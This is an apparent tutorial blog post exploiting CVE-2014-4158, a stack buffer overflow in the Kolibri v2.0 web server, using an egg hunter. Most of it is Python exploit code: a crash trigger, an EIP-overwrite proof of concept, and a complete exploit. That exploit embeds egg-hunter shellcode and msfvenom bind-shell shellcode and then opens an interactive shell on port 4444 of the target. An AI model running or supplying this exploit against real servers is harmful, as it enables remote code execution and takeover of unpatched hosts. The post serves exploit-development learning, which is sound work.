[Learning] CVE-2014-4158: Kolibri Buffer Overflow with Egg Hunter

First Post:

Last Update:

Word Count:
1.9k

Read Time:
11 min

Introduction

This article is part of my series: From Bug To Exploit

In this article, I will demonstrate how to exploit Kolibri using an egg hunter and discuss some limitations in practice.

Note: If you are not familiar with this technique, you may refer to this article.

Cause of the Vulnerability

The server application of Kolibri v2.0 fails to properly check the boundary of the URL pattern when processing an HTTP request.

This leads to a stack-based buffer overflow and ultimately allows arbitrary code execution.

Buffer Overflow

First, let’s input a large amount of data to crash the server:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import argparse
import struct
import socket
import time
import sys
import select

from urllib.parse import urlparse

parser = argparse.ArgumentParser()
parser.add_argument('--url')
parser.add_argument('--dos', action='store_true')
parser.add_argument('--deadbeef', action='store_true')
parser.add_argument('--exploit', action='store_true')
args = parser.parse_args()

def do_dos(url: str):
parsed = urlparse(url)
host = parsed.hostname
port = parsed.port or 80

payload_path = b'/' + b'\x41' * 600

http_request = (
f'GET {payload_path.decode("latin1")} HTTP/1.1\r\n'
f'Host: {host}:{port}\r\n\r\n'
).encode('latin1')

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
sock.connect((host, port))
sock.sendall(http_request)
resp = sock.recv(4096)
print(resp.decode('latin1', errors='ignore'))
except Exception as ex:
print(ex)
finally:
sock.close()

def do_deadbeef(url: str):
pass

def do_exploit(url: str):
pass

def main():
if not args.url:
parser.print_help()
return

url = args.url

if args.dos:
do_dos(url)
elif args.deadbeef:
do_deadbeef(url)
elif args.exploit:
do_exploit(url)
else:
args.print_help()

if __name__ == '__main__':
main()

Note: Here, I strongly recommend using socket to perform the HTTP request instead of urllib since it strictly checks the characters in the URL pattern.

Then, the server application crashes:

Next, find the exact offset for overwriting EIP using mona:

We can also use mona to find an instruction containing jmp esp:

I wrote a simple proof-of-concept script to write DEADBEEF into EIP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import argparse
import struct
import socket
import time
import sys
import select

from urllib.parse import urlparse

parser = argparse.ArgumentParser()
parser.add_argument('--url')
parser.add_argument('--dos', action='store_true')
parser.add_argument('--deadbeef', action='store_true')
parser.add_argument('--exploit', action='store_true')
args = parser.parse_args()

OFFSET = 515
RET = struct.pack('<I', 0x7ecd1b4e)

def do_dos(url: str):
pass

def do_deadbeef(url: str):
parsed = urlparse(url)
host = parsed.hostname
port = parsed.port or 80

payload_path = b'/' + b'\x41' * OFFSET + DEADBEEF

http_request = (
f'GET {payload_path.decode("latin1")} HTTP/1.1\r\n'
f'Host: {host}:{port}\r\n\r\n'
).encode('latin1')

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
sock.connect((host, port))
sock.sendall(http_request)
resp = sock.recv(4096)
print(resp.decode('latin1', errors='ignore'))
except Exception as ex:
print(ex)
finally:
sock.close()

def do_exploit(url: str):
pass

def main():
if not args.url:
parser.print_help()
return

url = args.url

if args.dos:
do_dos(url)
elif args.deadbeef:
do_deadbeef(url)
elif args.exploit:
do_exploit(url)
else:
args.print_help()

if __name__ == '__main__':
main()

Here, I strongly recommend using latin1 encoding when handling HTTP request/response payloads at the raw socket level because of its 1:1 byte-to-character mapping (0x00 to 0xff), which allows for lossless byte transparency. Unlike UTF-8, latin1 does not throw decoding errors when handling arbitrary binary data, making it a safer choice for raw stream manipulation before parsing.

Finally, the completed exploit script can be implemented as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
import urllib.request
import argparse
import struct
import socket
import time
import sys
import select

from urllib.parse import urlparse

parser = argparse.ArgumentParser()
parser.add_argument('--url')
parser.add_argument('--dos', action='store_true')
parser.add_argument('--deadbeef', action='store_true')
parser.add_argument('--exploit', action='store_true')
args = parser.parse_args()

OFFSET = 515
RET = struct.pack('<I', 0x7ecd1b4e)
DEADBEEF = struct.pack('<I', 0xDEADBEEF)
EGG_TAG = b"\xDE\xAD\xBE\xEF"

# NtDisplayString
hunter = b""
hunter += b"\x66\x81\xca\xff\x0f"
hunter += b"\x42"
hunter += b"\x52"
hunter += b"\x6a\x43"
hunter += b"\x58"
hunter += b"\xcd\x2e"
hunter += b"\x3c\x05"
hunter += b"\x5a"
hunter += b"\x74\xef"
hunter += b"\xb8"
hunter += b"\xDE\xAD\xBE\xEF" # DEADBEEF
hunter += b"\x89\xd7"
hunter += b"\xaf"
hunter += b"\x75\xea"
hunter += b"\xaf"
hunter += b"\x75\xe7"
hunter += b"\xff\xe7"

# msfvenom -p windows/shell_bind_tcp EXITFUNC=thread LPORT=4444 -b "\x20\x0a\x0d\x09\x20\x00" -f python -v egg_code
egg_code = b""
egg_code += b"\xdb\xcd\xd9\x74\x24\xf4\xb8\x3b\x30\x1f\x9b"
egg_code += b"\x5b\x2b\xc9\xb1\x53\x31\x43\x17\x83\xc3\x04"
egg_code += b"\x03\x78\x23\xfd\x6e\x82\xab\x83\x91\x7a\x2c"
egg_code += b"\xe4\x18\x9f\x1d\x24\x7e\xd4\x0e\x94\xf4\xb8"
egg_code += b"\xa2\x5f\x58\x28\x30\x2d\x75\x5f\xf1\x98\xa3"
egg_code += b"\x6e\x02\xb0\x90\xf1\x80\xcb\xc4\xd1\xb9\x03"
egg_code += b"\x19\x10\xfd\x7e\xd0\x40\x56\xf4\x47\x74\xd3"
egg_code += b"\x40\x54\xff\xaf\x45\xdc\x1c\x67\x67\xcd\xb3"
egg_code += b"\xf3\x3e\xcd\x32\xd7\x4a\x44\x2c\x34\x76\x1e"
egg_code += b"\xc7\x8e\x0c\xa1\x01\xdf\xed\x0e\x6c\xef\x1f"
egg_code += b"\x4e\xa9\xc8\xff\x25\xc3\x2a\x7d\x3e\x10\x50"
egg_code += b"\x59\xcb\x82\xf2\x2a\x6b\x6e\x02\xfe\xea\xe5"
egg_code += b"\x08\x4b\x78\xa1\x0c\x4a\xad\xda\x29\xc7\x50"
egg_code += b"\x0c\xb8\x93\x76\x88\xe0\x40\x16\x89\x4c\x26"
egg_code += b"\x27\xc9\x2e\x97\x8d\x82\xc3\xcc\xbf\xc9\x8b"
egg_code += b"\x21\xf2\xf1\x4b\x2e\x85\x82\x79\xf1\x3d\x0c"
egg_code += b"\x32\x7a\x98\xcb\x35\x51\x5c\x43\xc8\x5a\x9d"
egg_code += b"\x4a\x0f\x0e\xcd\xe4\xa6\x2f\x86\xf4\x47\xfa"
egg_code += b"\x33\xfc\xee\x55\x26\x01\x50\x06\xe6\xa9\x39"
egg_code += b"\x4c\xe9\x96\x5a\x6f\x23\xbf\xf3\x92\xcc\xae"
egg_code += b"\x5f\x1a\x2a\xba\x4f\x4a\xe4\x52\xb2\xa9\x3d"
egg_code += b"\xc5\xcd\x9b\x15\x61\x85\xcd\xa2\x8e\x16\xd8"
egg_code += b"\x84\x18\x9d\x0f\x11\x39\xa2\x05\x31\x2e\x35"
egg_code += b"\xd3\xd0\x1d\xa7\xe4\xf8\xf5\x44\x76\x67\x05"
egg_code += b"\x02\x6b\x30\x52\x43\x5d\x49\x36\x79\xc4\xe3"
egg_code += b"\x24\x80\x90\xcc\xec\x5f\x61\xd2\xed\x12\xdd"
egg_code += b"\xf0\xfd\xea\xde\xbc\xa9\xa2\x88\x6a\x07\x05"
egg_code += b"\x63\xdd\xf1\xdf\xd8\xb7\x95\xa6\x12\x08\xe3"
egg_code += b"\xa6\x7e\xfe\x0b\x16\xd7\x47\x34\x97\xbf\x4f"
egg_code += b"\x4d\xc5\x5f\xaf\x84\x4d\x7f\x52\x0c\xb8\xe8"
egg_code += b"\xcb\xc5\x01\x75\xec\x30\x45\x80\x6f\xb0\x36"
egg_code += b"\x77\x6f\xb1\x33\x33\x37\x2a\x4e\x2c\xd2\x4c"
egg_code += b"\xfd\x4d\xf7"

def do_dos(url: str):
pass

def do_deadbeef(url: str):
pass

def do_connect(ip: str):
shell_sock = None

for attempt in range(10): # retry
try:
time.sleep(1)
shell_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
shell_sock.settimeout(3)
shell_sock.connect((ip, 4444))
shell_sock.settimeout(None)
print(f"\n[+] Pwned!\n")
break
except (socket.error, socket.timeout):
if shell_sock:
shell_sock.close()
shell_sock = None
sys.stdout.write(".")
sys.stdout.flush()

if not shell_sock:
print("[-] Connection failed: Max retries reached.")
sys.exit(1)

print("[+] Interactive shell spawned below:\n")

while True:
read_list = [sys.stdin, shell_sock]
read_sockets, _, _ = select.select(read_list, [], [])

if sys.stdin in read_sockets:
line = sys.stdin.readline()
if not line:
break
shell_sock.sendall(line.encode())

if shell_sock in read_sockets:
data = shell_sock.recv(1024)
if not data:
print("\n[-] Connection closed by target.")
break
sys.stdout.write(data.decode(errors='ignore'))
sys.stdout.flush()

def do_exploit(url: str):
parsed = urlparse(url)
host = parsed.hostname
port = parsed.port or 80

payload_path = b'/' + b'\x90' * OFFSET + RET + hunter

egg_payload = (EGG_TAG * 2 + egg_code).decode('latin1')

http_request = (
f'GET {payload_path.decode("latin1")} HTTP/1.1\r\n'
f'Host: {host}:{port}\r\n'
f'User-Agent: {egg_payload}\r\n\r\n'
).encode('latin1')

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
sock.connect((host, port))
sock.sendall(http_request)
resp = sock.recv(4096)
print(resp.decode('latin1', errors='ignore'))

do_connect(host)

except Exception as ex:
print(ex)
finally:
sock.close()

def main():
if not args.url:
parser.print_help()
return

url = args.url

if args.dos:
do_dos(url)
elif args.deadbeef:
do_deadbeef(url)
elif args.exploit:
do_exploit(url)
else:
args.print_help()

if __name__ == '__main__':
main()

Using SEH Overflow?

While developing the exploit script, I found that we can overwrite the SEH value if the junk data is large enough:

So, does it imply that we can perform an SEH overwrite as well? It seems like a viable method. In my experiment, however, we cannot.

The reason is that we cannot find an address containing a pop # pop # ret sequence without a null byte (\x00).

If the address is located at the end of the payload, then it would be fine. However, the null byte (\x00) terminates the HTTP request:

1
2
3
4
http_request = (
f'GET {payload_path.decode("latin1")} HTTP/1.1\r\n'
f'Host: {host}:{port}\r\n\r\n'
).encode('latin1')

As a result, the HTTP server cannot process the HTTP request properly and therefore returns an HTTP response with a status code of 400 Bad Request.

Conclusion

This article is a practice of the egg hunter technique. Therefore, the content might be shorter than the previous articles in this series…

On the other hand, it also shows how easy exploitation can become once we have mastered a technique! I only spent a short amount of time exploiting the application!

In the next article, I will explore Unicode overflow, and after that, MS08-067 will be covered, followed finally by bypassing different modern protections!

This is the end of the article. If you have any comments or suggestions, please feel free to leave them below!

THANKS FOR READING!

I drew a new drawing!

Keep going!